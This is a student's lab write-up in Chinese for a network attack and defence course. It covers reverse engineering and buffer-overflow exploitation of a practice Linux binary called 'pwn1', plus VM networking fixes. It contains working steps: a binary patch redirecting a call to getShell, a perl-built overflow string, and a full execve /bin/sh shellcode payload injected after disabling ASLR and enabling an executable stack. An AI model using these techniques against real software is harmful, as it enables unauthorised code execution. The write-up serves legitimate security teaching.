20155202张旭《网络对抗技术》 week1 PC平台逆向破解及Bof基础实践

1.实践目标:

实践对象:一个名为pwn1的linux可执行文件。

  • 该程序正常执行流程是:
  1. main调用foo函数,foo函数会简单回显任何用户输入的字符串。
  2. 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。
  3. 正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
  • 三个实践内容如下:
  1. 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  2. 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  3. 注入一个自己制作的shellcode并运行这段shellcode。

这几种思路,基本代表现实情况中的攻击目标:

- 运行原本不可访问的代码片段
- 强行修改程序执行流
- 以及注入运行任意代码。

2.实践基础知识

常用的Linux基本操作

objdump -d:从objfile中反汇编那些特定指令机器码的section。

perl -e:后面紧跟单引号括起来的字符串,表示在命令行要执行的命令。

xxd :为给定的标准输入或者文件做一次十六进制的输出,它也可以将十六进制输出转换为原来的二进制格式。

ps -ef:显示所有进程,并显示每个进程的UID,PPIP,C与STIME栏位。

| :管道,将前者的输出作为后者的输入。

> :输入输出重定向符,将前者输出的内容输入到后者中。

NOP, JNE, JE, JMP, ++CMP汇编指令的机器码++

1. near(机器码:E9) 段内间接转移 Jmp word(机器码:FF) 段间直接(远)转移Jmp far(机器码:EA)
2. CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
3. NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
4. JNE:条件转移指令,如果不相等则跳转。(机器码:75)
5. JE:条件转移指令,如果相等则跳转。(机器码:74)
6. JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB) 段内直接近转移Jmp

下载目标文件pwn1,反汇编。下面只保留了最核心的几行代码。

root@KaliYL:~#  objdump -d pwn1 | more

0804847d <getShell>:
804847d: 55 push %ebp
...
08048491 <foo>:
8048491: 55 push %ebp
...
080484af <main>:
...
80484b5: e8 d7 ff ff ff call 8048491 <foo>
80484ba: b8 00 00 00 00 mov $0x0,%eax
...

--

  • 先看第12行,"call 8048491 "是汇编指令

  • 是说这条指令将调用位于地址8048491处的foo函数;

  • 其对应机器指令为“e8 d7ffffff”,e8即跳转之意。

  • 本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但如一解释e8这条指令呢,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值,

    --

  • main函数调用foo,对应机器指令为“ e8 d7ffffff”,

  • 那我们想让它调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行。

  • 用Windows计算器,直接 47d-4ba就能得到补码,是c3ffffff。

  • 下面我们就修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff。

    --

  • root@KaliYL:~# cp pwn1 pwn2

  • root@KaliYL:~# vi pwn2

  • 以下操作是在vi内

  • 1.按ESC键

  • 2.输入如下,将显示模式切换为16进制模式

  • :%!xxd

  • 3.查找要修改的内容

  • /e8d7

  • 4.找到后前后的内容和反汇编的对比下,确认是地方是正确的

  • 5.修改d7为c3

  • 6.转换16进制为原格式

  • :%!xxd -r

  • 7.存盘退出vi

  • :wq

  • 8.再反汇编看一下,call指令是否正确调用getShell

root@KaliYL:~# objdump -d pwn2 | more
...
080484af <main>:
80484af: 55 push %ebp
80484b0: 89 e5 mov %esp,%ebp
80484b2: 83 e4 f0 and $0xfffffff0,%esp
80484b5: e8 c3 ff ff ff call 804847d <getShell>
80484ba: b8 00 00 00 00 mov $0x0,%eax
  • 9.运行下改后的代码,会得到shell提示符#

root@KaliYL:~# ./pwn2
# ls
20135201_met_rtcp_136_443backdoor.exe pwn1.bak

通过构造输入参数,造成BOF攻击,改变程序执行流

  • 知识要求:堆栈结构,返回地址

  • 学习目标:理解攻击缓冲区的结果,掌握返回地址的获取

  • 进阶:掌握ELF文件格式,掌握动态技术

  • 3.1 反汇编,了解程序的基本功能

root@KaliYL:~#  objdump -d pwn1 | more

 8048477:	90                   	nop
8048478: e9 73 ff ff ff jmp 80483f0 <register_tm_clones>

== 注意这个函数getShell,我们的目标是触发这个函数 ==

0804847d <getShell>:
804847d: 55 push %ebp
804847e: 89 e5 mov %esp,%ebp
8048480: 83 ec 18 sub $0x18,%esp
8048483: c7 04 24 60 85 04 08 movl $0x8048560,(%esp)
804848a: e8 c1 fe ff ff call 8048350 <system@plt>
804848f: c9 leave
8048490: c3 ret

== 该可执行文件正常运行是调用如下函数foo,这个函数有Buffer overflow漏洞 ==

08048491 <foo>:
8048491: 55 push %ebp
8048492: 89 e5 mov %esp,%ebp
8048494: 83 ec 38 sub $0x38,%esp
8048497: 8d 45 e4 lea -0x1c(%ebp),%eax
804849a: 89 04 24 mov %eax,(%esp)

== 这里读入字符串,但系统只预留了__字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址 ==

804849d:	e8 8e fe ff ff       	call   8048330 <gets@plt>
80484a2: 8d 45 e4 lea -0x1c(%ebp),%eax
80484a5: 89 04 24 mov %eax,(%esp)
80484a8: e8 93 fe ff ff call 8048340 <puts@plt>
80484ad: c9 leave
80484ae: c3 ret
080484af <main>:
80484af: 55 push %ebp
80484b0: 89 e5 mov %esp,%ebp
80484b2: 83 e4 f0 and $0xfffffff0,%esp
80484b5: e8 d7 ff ff ff call 8048491 <foo>

上面的call调用foo,同时在堆栈上压上返回地址值:__________

80484ba:	b8 00 00 00 00       	mov    $0x0,%eax
80484bf: c9 leave
80484c0: c3 ret
80484c1: 66 90 xchg %ax,%ax
80484c3: 66 90 xchg %ax,%ax
80484c5: 66 90 xchg %ax,%ax
80484c7: 66 90 xchg %ax,%ax
80484c9: 66 90 xchg %ax,%ax
80484cb: 66 90 xchg %ax,%ax
80484cd: 66 90 xchg %ax,%ax
80484cf: 90 nop 080484d0 <__libc_csu_init>:

--

3.2 确认输入字符串哪几个字符会覆盖到返回地址

root@KaliYL:~# gdb pwn1
(gdb) r
Starting program: /root/pwn1
1111111122222222333333334444444455555555
1111111122222222333333334444444455555555
Program received signal SIGSEGV, Segmentation fault.
0x35353535 in ?? ()
(gdb) info r
eax 0x29 41
ecx 0xffffffff -1
edx 0xf7fab870 -134563728
ebx 0x0 0
esp 0xffffd320 0xffffd320
ebp 0x34343434 0x34343434
esi 0xf7faa000 -134569984
edi 0xf7faa000 -134569984
eip 0x35353535 0x35353535 //注意EIP的值,是ASCII 5
eflags 0x10246 [ PF ZF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/pwn1
1111111122222222333333334444444412345678
1111111122222222333333334444444412345678
Program received signal SIGSEGV, Segmentation fault.
0x34333231 in ?? ()
(gdb) info r
eip 0x34333231 0x34333231
eflags 0x10246 [ PF ZF IF RF ] (gdb)

如果输入字符串1111111122222222333333334444444412345678,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址,输给pwn1,pwn1就会运行getShell。

--

3.3 确认用什么值来覆盖返回地址
getShell的内存地址,通过反汇编时可以看到,即0804847d。 接下来要确认下字节序,简单说是输入11111111222222223333333344444444\x08\x04\x84\x7d,还是输入11111111222222223333333344444444\x7d\x84\x04\x08。

--

(gdb) break *0x804849d
Breakpoint 2 at 0x804849d
(gdb) info break
Num Type Disp Enb Address What
1 breakpoint keep y <PENDING> x804849d
2 breakpoint keep y 0x0804849d <foo+12>
(gdb) r
Starting program: /root/pwn1 Breakpoint 2, 0x0804849d in foo ()
(gdb) info r
eip 0x804849d 0x804849d <foo+12> 对比之前 ==eip 0x34333231 0x34333231== ,正确应用输入 ==11111111222222223333333344444444\x7d\x84\x04\x08==。

--

3.4 构造输入字符串

  • 由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。
root@KaliYL:~# perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
关于Perl: Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用。 使用输出重定向“>”将perl生成的字符串存储到文件input中。

--

  • 可以使用16进制查看指令xxd查看input文件的内容是否如预期。

然后将input的输入,通过管道符“|”,作为pwn1的输入

遇到的问题及解决方案

问题一.没办法联网,自己修改了虚拟机ip地址还是不行。
  • 解决方法:
  • 1,首先将VM的网卡net8启用:

    怎样让VM共享本地网络地址上网
  •   2,然后将VM的网卡设置为VMnet8(NAT):

    怎样让VM共享本地网络地址上网
  •   3,将PC的可以上网的网卡共享:

    怎样让VM共享本地网络地址上网

      要勾上允许其他网络用户通过此计算机的intenet连接来连接,并选择VMnet8。
  •   4,设置VMnet8网卡的默认网关为本地PC可以上网的网卡的IP地址:

    怎样让VM共享本地网络地址上网

      我可以上网的网卡的IP地址为172.18.216.77,VMnet8的地址为192.168.0.1
  •   5,设置VM中网卡的地址为192.168.0.*网段,默认网关为192.168.0.1,并配置好DNS。

    怎样让VM共享本地网络地址上网

      这样就算设置完成了,在VM中访问网络时,先根据默认网关192.168.0.1,找到了VMnet8网卡,然后根据VMnet8网卡的默认网关172.18.216.77找到了可以上网的网卡,而该网卡已经共享上网,

还有不要没事按360的加速球,贼气人,把后台的vm程序全关了!!!



问题二.安装32位运行库很慢

  • 等,就一个字,等,等三小时!!

  • 1.切换到root用户(大家如果按部就班地安装的话都是root用户)

kali@20154312:~$ su
密码:
  • 2.用文本编辑器打开source.list
root@20154312: leafpad /etc/apt/sources.list
  • 3.添加下列更新源
#阿里云kali源
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb http://mirrors.aliyun.com/kali-security kali-rolling/updates main contrib non-free
deb-src http://mirrors.aliyun.com/kali-security kali-rolling/updates main contrib non-free #中科大kali源
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free
deb-src http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free
  • 4.对软件进行一次整体更新(一共923M的更新包)
apt-get clean
apt-get update
apt-get upgrade

二.安装32位运行库

apt-get install lib32ncurses5
或者
apt-get install lib32z1

4. 注入Shellcode并执行

  • shellcode就是一段机器指令(code)
  • 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
  • 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
首先使用apt-get install execstack命令安装execstack。
修改以下设置:

root@KaliYL:~# execstack -s pwn1    //设置堆栈可执行
root@KaliYL:~# execstack -q pwn1 //查询文件的堆栈是否可执行
X pwn1
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
2
root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
0
我们选择retaddr+nops+shellcode结构来攻击buf,在shellcode前填充nop的机器码90,最前面加上加上返回地址(先定义为\x4\x3\x2\x1):
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode

一定切记要加上32个a,不然地址会出错

  • 接下来确定\x4\x3\x2\x1部分到底需要填什么

  • 打开一个终端注入这段攻击buf,在另一个终端查看pwn1这个进程,发现进程号为2571。

  • 启动gdb调试这个进程:

  • 通过设置断点,来查看注入buf的内存地址:

  • 使用break *0x080484ae设置断点,并输入c继续运行。在pwn5202进程正在运行的终端敲回车,使其继续执行。再返回调试终端,使用info r esp查找地址。

  • 使用x/16x 0xffffd2fc查看其存放内容,看到了01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,所以地址是0xffffd2fc。

  • 接下来只需要将之前的\x4\x3\x2\x1改为这个地址即可:

  • 再执行程序,攻击成功:



最后切记初始化固定段地址每次启动虚拟机都要重新配置,不然会和我一样蠢的在图书馆三小时不知道哪里错了哈哈哈!!

20155202张旭《网络对抗技术》 week1 PC平台逆向破解及Bof基础实践的更多相关文章

  1. 20145336张子扬 《网络对抗技术》 PC平台逆向破解

    #20145336张子扬 <网络对抗技术> PC平台逆向破解 ##Shellcode注入 **基础知识** Shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对 ...

  2. 20145333 《网络对抗技术》 PC平台逆向破解

    20145333 <网络对抗技术> PC平台逆向破解 20145333 <网络对抗技术> PC平台逆向破解 Shellcode注入 基础知识 Shellcode实际是一段代码, ...

  3. 20145325张梓靖 《网络对抗技术》 PC平台逆向破解

    20145325张梓靖 <网络对抗技术> PC平台逆向破解 学习任务 shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并 ...

  4. 20145206邹京儒《网络对抗技术》 PC平台逆向破解

    20145206邹京儒<网络对抗技术> PC平台逆向破解 注入shellcode并执行 一.准备一段shellcode 二.设置环境 具体在终端中输入如下: apt-cache searc ...

  5. 20145331魏澍琛 《网络对抗技术》 PC平台逆向破解

    20145331魏澍琛 <网络对抗技术> PC平台逆向破解 学习任务 1.shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中 ...

  6. 20145302张薇《网络对抗技术》PC平台逆向破解

    20145302张薇<网络对抗技术>PC平台逆向破解 实验任务 1.简单shellcode注入实验 2.Return-to-libc 攻击实验 实验相关原理 Bof攻击防御技术 从防止注入 ...

  7. 20145219《网络对抗技术》PC平台逆向破解之逆向与Bof基础

    20145219<网络对抗技术>PC平台逆向破解之逆向与Bof基础 实践目标 实践对象:一个名为pwn1的linux可执行文件. pwn1正常执行流程:main调用foo函数,foo函数会 ...

  8. 20145202 《网络对抗技术》 PC平台逆向破解

    20145202 <网络对抗技术> PC平台逆向破解 准备工作 先将环境设置为:堆栈可执行.地址随机化关闭 参考http://git.oschina.net/wildlinux/NetSe ...

  9. 20162326 Exp1《网络对抗技术》 PC平台逆向破解

    1 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. 该程 ...

随机推荐

  1. Mobileye众包地图REM的一些整理

    Mobileye的CEO Shashua在CVPR2016上介绍了Road Experience Management(REM),目前仍是视觉高精度地图和定位的(几乎)唯一的解决方案.这两年间,mob ...

  2. Hive lateral view explode

    select 'hello', x from dual lateral view explode(array(1,2,3,4,5)) vt as x 结果是: hello   1 hello   2 ...

  3. 如何在 Azure 门户中将托管数据磁盘附加到 Windows VM

    本文介绍了如何通过 Azure 门户将新的托管数据磁盘附加到 Windows 虚拟机. 在开始之前,请查看以下提示: 虚拟机的大小决定了可以附加多少个磁盘. 有关详细信息,请参阅虚拟机大小. 对于新磁 ...

  4. 无法将数据库从SINGLE_USER模式切换回MULTI_USER模式(Error 5064),及查找SQL Server数据库中用户spid(非SQL Server系统spid)的方法

    今天公司SQL Server数据库无意间变为SINGLE_USER模式了,而且使用如下语句切换回MULTI_USER失败: ALTER DATABASE [MyDB] SET MULTI_USER W ...

  5. Solving the SQL Server Multiple Cascade Path Issue with a Trigger (转载)

    Problem I am trying to use the ON DELETE CASCADE option when creating a foreign key on my database, ...

  6. ubuntu安装python-ldap模块

    模块 一直很头疼好多依赖的模块 今天安装一个python-ldap  和ldap交互的模块 首先安装的时候会提示我们 compilation terminated. error: command 'x ...

  7. 通过javascript添加一行

    <html><head> <title>添加新的行</title></head><body> <div onclick=& ...

  8. 开源作业调度框架 - Quartz.NET - Cron表达式测试

    昨天简单写了一下如何使用Quzrtz.NET. 那么问题来了,我设置了Cron表达式之后如何知道是表达式是否按照预期的时间执行了呢? 我找到了些Cron表达式工具生成了表达式,确发现它们基本上没有进行 ...

  9. November 15th, 2017 Week 46th Wednesday

    Of all the tribulations in this world, boredom is the one most hard to bear. 所有的苦难中,无聊是最难以忍受的. When ...

  10. linux命令2—常见linux命令

    1.进入vi的命令 vi filename :打开或新建文件,并将光标置于第一行首 vi +n filename :打开文件,并将光标置于第n行首 vi + filename :打开文件,并将光标置于 ...